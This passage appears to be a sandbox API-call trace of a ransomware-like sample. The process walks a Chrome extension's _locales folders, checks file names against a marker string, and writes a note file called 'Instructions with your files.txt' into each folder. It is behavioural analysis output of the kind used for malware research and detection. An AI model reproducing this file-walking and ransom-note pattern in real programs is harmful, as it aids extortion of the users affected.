[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84239770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 141
[0129.464] StrStrIW (lpFirst="icon_16.png", lpSrch="SDfghjkl") returned 0x0
[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8423be80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8423e590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 139
[0129.464] StrStrIW (lpFirst="main.html", lpSrch="SDfghjkl") returned 0x0
[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84240ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84240ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 137
[0129.464] StrStrIW (lpFirst="main.js", lpSrch="SDfghjkl") returned 0x0
[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x840205b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84245ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844aa770, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 143
[0129.464] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0129.464] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0129.464] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 138
[0129.464] GetProcessHeap () returned 0x810000
[0129.465] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.465] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*") returned 140
[0129.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.467] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\.") returned 140
[0129.467] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.467] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\..") returned 141
[0129.467] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0129.467] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned 141
[0129.467] GetProcessHeap () returned 0x810000
[0129.467] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.468] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*") returned 143
[0129.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.468] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\.") returned 143
[0129.468] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.468] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\..") returned 144
[0129.468] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8403b360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.468] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 155
[0129.468] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.468] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8403b360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.468] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\Instructions with your files.txt") returned 174
[0129.468] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.469] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.469] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.470] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.470] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.470] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.470] CloseHandle (hObject=0x134) returned 1
[0129.470] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.470] GetProcessHeap () returned 0x810000
[0129.470] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.470] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0129.470] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned 141
[0129.470] GetProcessHeap () returned 0x810000
[0129.470] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.470] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*") returned 143
[0129.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.471] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\.") returned 143
[0129.471] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.471] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\..") returned 144
[0129.471] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84056110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84058820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.471] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 155
[0129.471] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.471] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84056110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84058820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.471] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\Instructions with your files.txt") returned 174
[0129.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.472] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.473] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.473] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.473] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.473] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.473] CloseHandle (hObject=0x134) returned 1
[0129.473] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.473] GetProcessHeap () returned 0x810000
[0129.473] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.473] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0129.473] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned 141
[0129.473] GetProcessHeap () returned 0x810000
[0129.473] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.473] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*") returned 143
[0129.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.474] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\.") returned 143
[0129.474] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.474] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\..") returned 144
[0129.474] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84067280, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.474] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 155
[0129.474] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.474] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84067280, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
